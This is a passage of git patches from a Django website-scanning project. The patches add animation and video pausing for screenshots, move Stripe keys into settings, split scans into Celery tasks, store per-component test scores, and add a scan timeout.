document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") except: print('cannot pause animations') @@ -443,17 +444,21 @@ async def scan_p(self, site, configs): # requesting site url await page.goto(site.site_url, page_options) + + # inserting animation pausing script try: - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") except: print('cannot pause animations') - # inserting video pausing scripts + # pausing videos try: - await page.evaluate("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") - except: - print('cannot pause videos') + videos = await page.querySelectorAll('video') + for vid in videos: + await page.evaluate('(vid) => vid.pause()', vid) + except Exception as e: + print(e) # mask all listed ids @@ -607,15 +612,17 @@ async def _scan_p(self, site, configs): # inserting animation pausing script try: - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") except: print('cannot pause animations') - # inserting video pausing scripts + # pausing videos try: - await page.evaluate("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") - except: - print('cannot pause videos') + videos = await page.querySelectorAll('video') + for vid in videos: + await page.evaluate('(vid) => vid.pause()', vid) + except Exception as e: + print(e) # mask all listed ids if configs['mask_ids'] is not None and configs['mask_ids'] != '': From f76ffbfa0d4ffa3975e79720a51021a367f37ebd Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Fri, 16 Sep 2022 09:30:42 -0500 Subject: [PATCH 116/277] added stripe keys to settings --- app/scanerr/settings.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index d58057c0..9aae0d2a 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -236,4 +236,9 @@ # google oAuth2 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID') -GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') \ No newline at end of file +GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') + + +# stripe keys +STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_TEST') +STRIPE_PRIVATE = os.environ.get('STRIPE_PRIVATE_TEST') \ No newline at end of file From 405eb82b23397a9b9c7295ed09e3231d27c6f3fa Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Fri, 16 Sep 2022 09:31:13 -0500 Subject: [PATCH 117/277] added vairable stripe keys --- app/api/v1/billing/views.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index dbb87c50..f70e1857 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -7,6 +7,7 @@ from django.forms.models import model_to_dict from ...models import Account, Card from datetime import timedelta, datetime +from scanerrimport settings import os, stripe, json @@ -17,7 +18,7 @@ class StripeKey(APIView): http_method_names = ['post',] def post(self, request): - key = os.environ.get('STRIPE_PUBLIC_TEST') + key = settings.STRIPE_PUBLIC data = {'key': key,} return Response(data, status=status.HTTP_200_OK) @@ -29,7 +30,7 @@ class CreateCustomer(APIView): http_method_names = ['post',] def post(self, request): - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE customer = stripe.Customer.create(email=request.user.email) account = Account.objects.create( @@ -49,7 +50,7 @@ class CreateProduct(APIView): def post(self, request): name = request.data['name'] - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE product = stripe.Product.create(name=name) account = Account.objects.get(user=request.user) @@ -69,7 +70,7 @@ class CreatePrice(APIView): def post(self, request): account = Account.objects.get(user=request.user) price_amount = float(request.data['price_amount']) - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE price = stripe.Price.create( product=account.product_id, unit_amount=price_amount, @@ -94,7 +95,7 @@ class CreateSubscription(APIView): http_method_names = ['post',] def post(self, request): - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE account = Account.objects.get(user=request.user) subscription = stripe.Subscription.create( customer=account.cust_id, @@ -121,7 +122,7 @@ class CompleteSubscription(APIView): http_method_names = ['post',] def post(self, request): - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE account = Account.objects.get(user=request.user) pay_method_id = request.data['payment_method'] if Card.objects.filter(account=account).exists(): @@ -209,7 +210,7 @@ class SetupSubscription(APIView): http_method_names = ['post',] def post(self, request): - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE user = request.user name = request.data['name'] product_name = str(user.email + '_' + str(user.id) + '_' + name) @@ -342,7 +343,7 @@ class AccountActivation(APIView): def post(self, request): account = Account.objects.get(user=request.user) - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE if account.active == True: stripe.Subscription.modify( From 16b4176dd629fb70a0104d376190b560997dfae2 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Fri, 16 Sep 2022 09:32:23 -0500 Subject: [PATCH 118/277] fixed typo --- app/api/v1/billing/views.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index f70e1857..db20783b 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -7,7 +7,7 @@ from django.forms.models import model_to_dict from ...models import Account, Card from datetime import timedelta, datetime -from scanerrimport settings +from scanerr import settings import os, stripe, json From 4c46c88dc307d82f1ac9e53cdb4a7333199f9119 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 21 Oct 2022 18:20:19 -0500 Subject: [PATCH 119/277] added multi-threading of scan components --- app/api/tasks.py | 73 +++++++-- app/api/utils/lighthouse.py | 6 +- app/api/utils/scanner.py | 288 +++++++++++++++++++++++++++++------- app/api/utils/yellowlab.py | 6 +- app/api/v1/ops/services.py | 24 ++- app/api/v1/ops/tasks.py | 26 ++++ 6 files changed, 348 insertions(+), 75 deletions(-) diff --git a/app/api/tasks.py b/app/api/tasks.py index e10724f0..55197a33 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -1,11 +1,10 @@ from __future__ import absolute_import, unicode_literals +from typing import Any from celery.utils.log import get_task_logger from celery import shared_task -from .v1.ops.tasks import (create_site_task, - create_scan_task, create_test_task, delete_site_s3, - create_report_task, delete_report_s3, migrate_site_task, - create_testcase_task, -) +from celery import Task as BaseTask +from .v1.ops.tasks import * +from .bootstrap.logger import producer_log from .models import Log from django.contrib.auth.models import User from .utils.driver_p import driver_test @@ -16,21 +15,38 @@ logger = get_task_logger(__name__) +class ScannerApiTask(BaseTask): + def delay( + self, + *args, + **kwargs, + ) -> Any: + """ + Producer handler. -@shared_task + :rtype Any: + """ + result = self.apply_async(args, kwargs) + + producer_log.info("CELERY_TASK_QUEUED - ID: %s", result.id) + + return result + + + +@shared_task(base=ScannerApiTask) def test_pupeteer(): asyncio.run(driver_test()) logger.info('Tested pupeteer instalation') -@shared_task +@shared_task(base=ScannerApiTask) def create_site_bg(site_id, scan_id, configs=None): create_site_task(site_id, scan_id, configs) logger.info('Created scan of new site') - -@shared_task +@shared_task(base=ScannerApiTask) def create_scan_bg( scan_id=None, site_id=None, @@ -53,7 +69,34 @@ def create_scan_bg( -@shared_task + +@shared_task(base=ScannerApiTask) +def run_html_and_logs_bg(scan=None): + run_html_and_logs_task(scan) + logger.info('ran html & logs component') + + +@shared_task(base=ScannerApiTask) +def run_vrt_bg(scan=None): + run_vrt_task(scan) + logger.info('ran vrt component') + + +@shared_task(base=ScannerApiTask) +def run_lighthouse_bg(scan=None): + run_lighthouse_task(scan) + logger.info('ran lighthouse component') + + +@shared_task(base=ScannerApiTask) +def run_yellowlab_bg(scan=None): + run_yellowlab_task(scan) + logger.info('ran yellowlab component') + + + + +@shared_task(base=ScannerApiTask) def create_test_bg( test_id=None, site_id=None, @@ -80,25 +123,25 @@ def create_test_bg( ) logger.info('Created new test of site') -@shared_task +@shared_task(base=ScannerApiTask) def create_report_bg(site_id=None, automation_id=None): create_report_task(site_id, automation_id) logger.info('Created new report of site') -@shared_task +@shared_task(base=ScannerApiTask) def delete_site_s3_bg(site_id): delete_site_s3(site_id) logger.info('Deleted site s3 objects') -@shared_task +@shared_task(base=ScannerApiTask) def delete_report_s3_bg(report_id): delete_report_s3(report_id) logger.info('Deleted Report pdf in s3') -@shared_task +@shared_task(base=ScannerApiTask) def purge_logs(username=None): if username: user = User.objects.get(username=username) @@ -127,7 +170,7 @@ def create_testcase_bg( -@shared_task +@shared_task(base=ScannerApiTask) def migrate_site_bg( login_url, admin_url, diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index dd29d403..04e1a740 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -102,7 +102,8 @@ def get_data(self): data = { "scores": scores, - "audits": audits + "audits": audits, + "failed": False } @@ -130,7 +131,8 @@ def get_data(self): data = { "scores": scores, - "audits": audits + "audits": audits, + "failed": True } return data diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index ef7dfd3a..118f7927 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -74,7 +74,7 @@ def first_scan(self): if 'logs' in self.scan.type or 'full' in self.scan.type: logs = self.driver.get_log('browser') if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + images = Image()._scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -88,7 +88,7 @@ def first_scan(self): if 'logs' in self.scan.type or 'full' in self.scan.type: logs = driver_data['logs'] if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Image()._scan_p(site=self.site, configs=self.configs)) if 'lighthouse' in self.scan.type or 'full' in self.scan.type: lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() @@ -111,7 +111,7 @@ def first_scan(self): self.scan.save() first_scan = self.scan - self.update_site_info(first_scan) + update_site_info(first_scan) return first_scan @@ -149,7 +149,7 @@ def second_scan(self): if 'logs' in second_scan.type or 'full' in second_scan.type: logs = self.driver.get_log('browser') if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + images = Image()._scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -163,7 +163,7 @@ def second_scan(self): if 'logs' in second_scan.type or 'full' in second_scan.type: logs = driver_data['logs'] if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Image()._scan_p(site=self.site, configs=self.configs)) if 'lighthouse' in second_scan.type or 'full' in second_scan.type: lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() @@ -190,55 +190,243 @@ def second_scan(self): first_scan.paried_scan = second_scan first_scan.save() - self.update_site_info(second_scan) + update_site_info(second_scan) return second_scan - - def update_site_info(self, scan): + + + + + +def update_site_info(scan): + """ + Method to update associated Site with the new Scan data + + returns -> `Site` + """ - health = 'No Data' - badge = 'neutral' - d = 0 - score = 0 - - if scan.lighthouse['scores']['average'] is not None: - score += float(scan.lighthouse['scores']['average']) - d += 1 - if scan.yellowlab['scores']['globalScore'] is not None: - score += float(scan.yellowlab['scores']['globalScore']) - d += 1 + health = 'No Data' + badge = 'neutral' + d = 0 + score = 0 + site = scan.site + + if scan.lighthouse['scores']['average'] is not None: + score += float(scan.lighthouse['scores']['average']) + d += 1 + if scan.yellowlab['scores']['globalScore'] is not None: + score += float(scan.yellowlab['scores']['globalScore']) + d += 1 + + if score != 0: + score = score / d + if score >= 75: + health = 'Good' + badge = 'success' + elif 75 > score >= 60: + health = 'Okay' + badge = 'warning' + elif 60 > score: + health = 'Poor' + badge = 'danger' + + else: + if scan.site.info['status']['score'] is not None: + score = float(site.info['status']['score']) + health = site.info['status']['health'] + badge = site.info['status']['badge'] + else: + score = None + + site.info['latest_scan']['id'] = str(scan.id) + site.info['latest_scan']['time_created'] = str(scan.time_created) + site.info['latest_scan']['time_completed'] = str(scan.time_completed) + site.info['lighthouse'] = scan.lighthouse.get('scores') + site.info['yellowlab'] = scan.yellowlab.get('scores') + site.info['status']['health'] = str(health) + site.info['status']['badge'] = str(badge) + site.info['status']['score'] = score + + site.save() + + return site + + + + + + + + + + +def check_scan_completion(scan): + """ + Method that checks if the scan has finished all + components. If so, method also updates scan and site + info. + + returns -> `Scan` + """ + + finished = True + + if 'html' or 'full' in scan.type: + if scan.html == None or scan.html == '': + finished = False + + if 'logs' or 'full' in scan.type: + if scan.logs == None or scan.logs == '': + finished = False + + if 'lighthouse' or 'full' in scan.type: + if scan.lighthouse['scores']['average'] == None and scan.lighthouse.get('failed') == None: + finished = False + + if 'lighthouse' or 'full' in scan.type: + if scan.yellowlab['scores']['globalScore'] == None and scan.yellowlab.get('failed') == None: + finished = False + + if 'vrt' or 'full' in scan.type: + if scan.images == None or scan.images == '': + finished = False + + # deciding if done + if finished is True: + time_completed = datetime.now() + update_site_info(scan) + scan.time_completed = time_completed + scan.save() + + return scan + + + + + + +def _html_and_logs(scan): + """ + Method to run the 'html' and 'logs' component of the scan + allowing for multi-threading. + + returns -> `Scan` + """ + if scan.configs['driver'] == 'selenium': + + driver = driver_s_init( + window_size=scan.configs['window_size'], + device=scan.configs['device'] + ) + driver.get(scan.site.site_url) + if 'html' in scan.type or 'full' in scan.type: + html = driver.page_source + scan.html = html + if 'logs' in scan.type or 'full' in scan.type: + logs = driver.get_log('browser') + scan.logs = logs + quit_driver(driver) + + + if scan.configs['driver'] == 'puppeteer': - if score != 0: - score = score / d - if score >= 75: - health = 'Good' - badge = 'success' - elif 75 > score >= 60: - health = 'Okay' - badge = 'warning' - elif 60 > score: - health = 'Poor' - badge = 'danger' + driver_data = asyncio.run( + get_data( + url=scan.site.site_url, + configs=scan.configs + ) + ) + if 'html' in scan.type or 'full' in scan.type: + html = driver_data['html'] + scan.html = html + if 'logs' in scan.type or 'full' in scan.type: + logs = driver_data['logs'] + scan.logs = logs + - else: - if self.site.info['status']['score'] is not None: - score = float(self.site.info['status']['score']) - health = self.site.info['status']['health'] - badge = self.site.info['status']['badge'] - else: - score = None - - self.site.info['latest_scan']['id'] = str(scan.id) - self.site.info['latest_scan']['time_created'] = str(scan.time_created) - self.site.info['latest_scan']['time_completed'] = str(scan.time_completed) - self.site.info['lighthouse'] = scan.lighthouse.get('scores') - self.site.info['yellowlab'] = scan.yellowlab.get('scores') - self.site.info['status']['health'] = str(health) - self.site.info['status']['badge'] = str(badge) - self.site.info['status']['score'] = score - - self.site.save() - - return self.site \ No newline at end of file + # updating Scan object + scan.save() + + # checking if scan is done + scan = check_scan_completion(scan) + + return scan + + + + + +def _vrt(scan): + """ + Method to run the visual regression (vrt) component of the scan + allowing for multi-threading. + + returns -> `Scan` + """ + if scan.configs['driver'] == 'selenium': + driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device']) + images = Image()._scan(site=scan.site, driver=driver, configs=scan.configs) + quit_driver(driver) + + if configs['driver'] == 'puppeteer': + images = asyncio.run(Image()._scan_p(site=scan.site, configs=scan.configs)) + + # updating Scan object + scan.images = images + scan.save() + + # checking if scan is done + scan = check_scan_completion(scan) + + return scan + + + + + +def _lighthouse(scan): + """ + Method to run the lighthouse component of the scan + allowing for multi-threading. + + returns -> `Scan` + """ + + # running lighthouse + lh_data = Lighthouse(site=scan.site, configs=scan.configs).get_data() + + # updating Scan object + scan.lighthouse = lh_data + scan.save() + + # checking if scan is done + scan = check_scan_completion(scan) + + return scan + + + + + + +def _yellowlab(scan): + """ + Method to run the yellowlab component of the scan + allowing for multi-threading. + + returns -> `Scan` + """ + + # running yellowlab + yl_data = Lighthouse(site=scan.site, configs=scan.configs).get_data() + + # updating Scan object + scan.yellowlab = yl_data + scan.save() + + # checking if scan is done + scan = check_scan_completion(scan) + + return scan diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index f1857e1c..b1024a16 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -92,7 +92,8 @@ def get_data(self): data = { "scores": scores, - "audits": audits + "audits": audits, + "failed": False } except Exception as e: @@ -127,7 +128,8 @@ def get_data(self): data = { "scores": scores, - "audits": audits + "audits": audits, + "failed": True } return data diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index e58f3567..07eb72a1 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -126,7 +126,6 @@ def create_site(request, delay=False): - def get_sites(request): site_id = request.query_params.get('site_id') user = request.user @@ -605,11 +604,24 @@ def create_scan(request, delay=False): ) if delay == True: - create_scan_bg.delay( - scan_id=created_scan.id, - configs=configs, - type=types, - ) + + # create_scan_bg.delay( + # scan_id=created_scan.id, + # configs=configs, + # type=types, + # ) + + # running scans in selenium mode + if 'html' or 'logs' or 'full' in types: + run_html_and_logs_bg.delay(scan=created_scan) + if 'lighthouse' or 'full' in types: + run_lighthouse_bg.delay(scan=created_scan) + if 'yellowlab' or 'full' in types: + run_yellowlab_bg.delay(scan=created_scan) + if 'vrt' or 'full' in types: + run_vrt_bg.delay(scan=created_scan) + + data = { 'status': True, 'message': 'scan is being created in the background', diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index afc50283..53d1d237 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -1,5 +1,6 @@ from ...models import * from ...utils.scanner import Scanner as S +from ...utils.scanner import * from ...utils.tester import Tester as T from ...utils.reporter import Reporter as R from ...utils.wordpress import Wordpress as W @@ -44,6 +45,31 @@ def create_scan_task( + +def run_html_and_logs_task(scan=None): + scan = _html_and_logs(scan) + return scan + +def run_vrt_task(scan=None): + scan = _vrt(scan) + return scan + +def run_vrt_task(scan=None): + scan = _vrt(scan) + return scan + +def run_lighthouse_task(scan=None): + scan = _lighthouse(scan) + return scan + +def run_yellowlab_task(scan=None): + scan = _yellowlab(scan) + return scan + + + + + def create_test_task( test_id=None, site_id=None, From 026941149f33fcf5c5f1126fef80486718193013 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 21 Oct 2022 18:38:46 -0500 Subject: [PATCH 120/277] added component scores to Test obj --- app/api/models.py | 12 ++++++++++++ app/api/utils/tester.py | 6 ++++++ app/api/v1/ops/serializers.py | 4 ++-- 3 files changed, 20 insertions(+), 2 deletions(-) diff --git a/app/api/models.py b/app/api/models.py index 3f8545e5..a532da23 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -199,6 +199,17 @@ def get_steps_default(): +def get_scores_default(): + scores_default = { + 'html': None, + 'logs': None, + 'lighthouse': None, + 'yellowlab': None, + 'vrt': None + } + return scores_default + + def get_slack_default(): slack_default = { @@ -261,6 +272,7 @@ class Test(models.Model): pre_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='pre_scan') post_scan = models.ForeignKey(Scan, on_delete=models.SET_NULL, serialize=True, null=True, blank=True, related_name='post_scan') score = models.FloatField(serialize=True, null=True, blank=True) + component_scores = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_default) html_delta = models.JSONField(serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default) diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index d5273a56..a2869cf3 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -575,6 +575,12 @@ def run_test(self, index=None): self.test.yellowlab_delta = yellowlab_data self.test.images_delta = images_data self.test.score = score + self.test.component_scores['html'] = (micro_diff_score * 100) + self.test.component_scores['logs'] = (logs_score * 100) + self.test.component_scores['lighthouse'] = (lighthouse_score * 100) + self.test.component_scores['yellowlab'] = (yellowlab_score * 100) + self.test.component_scores['vrt'] = (images_score * 100) + self.test.save() diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index 2a0912a7..e60f6738 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -81,7 +81,7 @@ class Meta: fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', - 'tags', 'pre_scan_configs', 'post_scan_configs', + 'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores', ] @@ -95,7 +95,7 @@ class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'lighthouse_delta', - 'yellowlab_delta', 'tags', + 'yellowlab_delta', 'tags', 'component_scores', ] From e4d64f907dc280fcde422fd851883af9bef6caee Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 21 Oct 2022 19:04:42 -0500 Subject: [PATCH 121/277] added timeout and disable_animation --- app/api/utils/image.py | 228 ++++++++++++++++++++++--------------- app/api/utils/scanner.py | 2 + app/api/v1/ops/services.py | 6 + 3 files changed, 144 insertions(+), 92 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 4a6be9eb..dbacd53d 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -9,6 +9,7 @@ from scanerr import settings from PIL import Image as I, ImageChops, ImageStat from pyppeteer import launch +from datetime import datetime from asgiref.sync import sync_to_async import time, os, sys, json, uuid, boto3, \ statistics, shutil, numpy, cv2 @@ -95,6 +96,25 @@ def __init__(self): ) + + + def check_timeout(self, timeout, start_time): + """ + Checks to see if the current time exceedes the alotted timeout. + + returns -> True / False + """ + + current = datetime.now() + diff = current - start_time + if diff.total_seconds() >= timeout: + return False + else: + return True + + + + def scan(self, site, configs, driver=None,): """ Grabs multiple screenshots of the website and uploads @@ -122,26 +142,28 @@ def scan(self, site, configs, driver=None,): # waiting for network requests to resolve driver_wait( driver=driver, - interval=int(configs['interval']), - min_wait_time=int(configs['min_wait_time']), - max_wait_time=int(configs['max_wait_time']), + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), ) - # inserting animation pausing script - try: - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # inserting video pausing scripts - try: - driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") - except: - print('cannnot pause videos') + + if configs.get('disable_animations') == True: + # inserting animation pausing script + try: + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') + + # inserting video pausing scripts + try: + driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + except: + print('cannnot pause videos') # mask all listed ids - if configs['mask_ids'] is not None and configs['mask_ids'] != '': - ids = configs['mask_ids'].split(',') + if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': + ids = configs.get('mask_ids').split(',') for id in ids: try: driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") @@ -166,13 +188,18 @@ def scan(self, site, configs, driver=None,): index = 0 last_height = -1 bottom = False + start_time = datetime.now() while not bottom: + # checking if maxed out time + if self.check_timeout(configs.get('timeout', 300), start_time): + break + # scroll single frame if index != 0: # driver.execute_script("window.scrollBy(0, window.innerHeight);") driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs['min_wait_time'])) + time.sleep(int(configs.get('min_wait_time', 10))) # get current position and compare to previous new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") @@ -184,9 +211,9 @@ def scan(self, site, configs, driver=None,): # waiting for network requests to resolve driver_wait( driver=driver, - interval=int(configs['interval']), - min_wait_time=int(configs['min_wait_time']), - max_wait_time=int(configs['max_wait_time']), + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), ) # get screenshot @@ -256,27 +283,28 @@ def _scan(self, site, configs, driver=None,): # waiting for network requests to resolve driver_wait( driver=driver, - interval=int(configs['interval']), - min_wait_time=int(configs['min_wait_time']), - max_wait_time=int(configs['max_wait_time']), + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), ) - # inserting animation pausing script - try: - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') + if configs.get('disable_animations') == True: + # inserting animation pausing script + try: + driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') - # inserting video pausing scripts - try: - driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") - except: - print('cannnot pause videos') + # inserting video pausing scripts + try: + driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") + except: + print('cannnot pause videos') # mask all listed ids - if configs['mask_ids'] is not None and 